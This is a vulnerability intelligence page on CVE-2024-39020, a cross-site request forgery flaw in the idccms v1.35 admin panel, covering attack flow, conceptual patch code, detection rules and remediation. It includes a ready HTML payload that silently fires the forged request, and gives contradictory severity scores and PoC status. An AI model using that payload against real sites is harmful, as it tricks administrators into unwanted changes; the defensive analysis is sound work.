☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-39020

CVE-2024-39020 Cross-Site Request Forgery in Idccms
📅 PUBLISHED: 2024-07-05 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39020 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close endpoint, allowing an attacker to trick an authenticated administrator into executing unintended actions, such as closing or modifying VPS API data records. This can lead to unauthorized configuration changes, service disruption, or data integrity compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction and the potential impact on administrative operations. No official patch or exploit code is publicly available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) – The attacker does not need prior authentication.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact (C): None (N) – No data exposure.
  • Integrity Impact (I): Low (L) – Unauthorized modification of VPS API data is possible.
  • Availability Impact (A): None (N) – No direct denial of service.

CVSS Score: 4.3 (Medium) – Based on the vector above, the actual score is 4.3, not 0.0 as listed in the NVD placeholder.

Threat Level: Medium – Exploitation requires user interaction but can lead to unauthorized administrative actions.

Deep Dive & Mechanics

The vulnerability resides in the vpsApiData_deal.php script within the admin panel of idccms v1.35. The endpoint /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close processes requests to modify VPS API data records. The application fails to implement anti-CSRF tokens or validate the origin of requests, allowing an attacker to craft a malicious HTML page or link that, when visited by an authenticated admin, triggers an unintended state-changing request.

Attack Flow:

  1. The attacker identifies a target running idccms v1.35 with an authenticated admin session.
  2. The attacker crafts a malicious HTML page containing an auto-submitting form or an image tag pointing to the vulnerable URL.
  3. The attacker lures the admin to visit the malicious page (e.g., via phishing email or social engineering).
  4. The admin’s browser sends a forged GET request to /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close with the admin’s session cookies.
  5. The server processes the request, performing the action (e.g., closing a VPS API data record) without verifying the request’s legitimacy.

Root Cause: Lack of CSRF protection mechanisms such as nonce tokens, SameSite cookies, or origin header validation.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be in vpsApiData_deal.php. A patched version would include CSRF token validation.

Vulnerable Code (Conceptual):

<?php
// vpsApiData_deal.php (vulnerable)
$mudi = $_GET['mudi'];
$nohrefStr = $_GET['nohrefStr'];
if ($mudi == 'rev' && $nohrefStr == 'close') {
    // Process the action without CSRF check
    updateVpsApiData('close');
}
?>

Patched Code (Conceptual):

<?php
// vpsApiData_deal.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
$mudi = $_GET['mudi'];
$nohrefStr = $_GET['nohrefStr'];
if ($mudi == 'rev' && $nohrefStr == 'close') {
    updateVpsApiData('close');
}
?>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target running idccms v1.35 with an authenticated admin session.
  • Attacker-controlled web server or ability to host a malicious page.

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<img src="http://target.com/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close" style="display:none;">
<script>
// Auto-submit form as alternative
document.write('<form id="csrf" action="http://target.com/admin/vpsApiData_deal.php" method="GET">');
document.write('<input type="hidden" name="mudi" value="rev">');
document.write('<input type="hidden" name="nohrefStr" value="close">');
document.write('</form>');
document.getElementById('csrf').submit();
</script>
</body>
</html>

Lab Setup:

  1. Deploy idccms v1.35 on a local server (e.g., XAMPP or Docker).
  2. Log in as admin and obtain a valid session cookie.
  3. Host the malicious HTML on a separate server or local file.
  4. Open the malicious page in the same browser (with admin session active).
  5. Observe the VPS API data record being closed without admin consent.

Blue Team (Defense & Detection)

Detection Steps:

  • Monitor for unusual GET requests to /admin/vpsApiData_deal.php with parameters mudi=rev and nohrefStr=close.
  • Check for requests originating from unexpected Referer headers or missing Referer.
  • Enable CSRF protection by implementing nonce tokens and validating them on all state-changing endpoints.
  • Use SameSite cookies (set to Lax or Strict) to prevent cross-site requests.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/admin/vpsApiData_deal.php" mudi="rev" nohrefStr="close"
| stats count by src_ip, user_agent, referer
| where referer NOT LIKE "%targetdomain.com%"

Indicators of Compromise (IOCs)

  • URL Pattern: /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close
  • HTTP Method: GET (vulnerable endpoint accepts GET requests for state changes)
  • Referer Header: Missing or spoofed (e.g., from attacker-controlled domain)
  • User-Agent: Any standard browser (no specific pattern)
  • Source IP: Attacker-controlled IP or proxy
  • Log Entry: Access log entry with mudi=rev and nohrefStr=close parameters

Detection Engineering

YARA Rule

rule idccms_csrf_cve_2024_39020 {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39020"
    strings:
        $url_pattern = "/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close"
        $param_mudi = "mudi=rev"
        $param_nohref = "nohrefStr=close"
    condition:
        any of them
}

Sigma Rule

title: CSRF Exploitation Attempt Against idccms v1.35
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects GET requests to the vulnerable idccms endpoint indicating CSRF exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        c-uri: '/admin/vpsApiData_deal.php'
        cs-uri-query:
            - '*mudi=rev*'
            - '*nohrefStr=close*'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is missing)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39020 - idccms CSRF Exploitation Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/vpsApiData_deal.php"; http_uri; content:"mudi=rev"; http_uri; content:"nohrefStr=close"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Implement CSRF Tokens: Add a unique, unpredictable token to all state-changing forms and validate it server-side.
  2. Use SameSite Cookies: Set the SameSite attribute to Lax or Strict on session cookies.
  3. Validate Origin Headers: Check the Origin or Referer header to ensure requests originate from the same site.
  4. Change HTTP Method: Require POST requests for state-changing actions instead of GET.

Long-Term Fix:

  • Upgrade to a patched version of idccms if available.
  • Conduct a security audit of the entire admin panel for similar CSRF vulnerabilities.
  • Implement a Web Application Firewall (WAF) rule to block requests matching the vulnerable pattern.

Workaround:

  • Restrict access to the admin panel via IP whitelisting or VPN.
  • Educate administrators about phishing risks and the importance of logging out after sessions.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39020/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.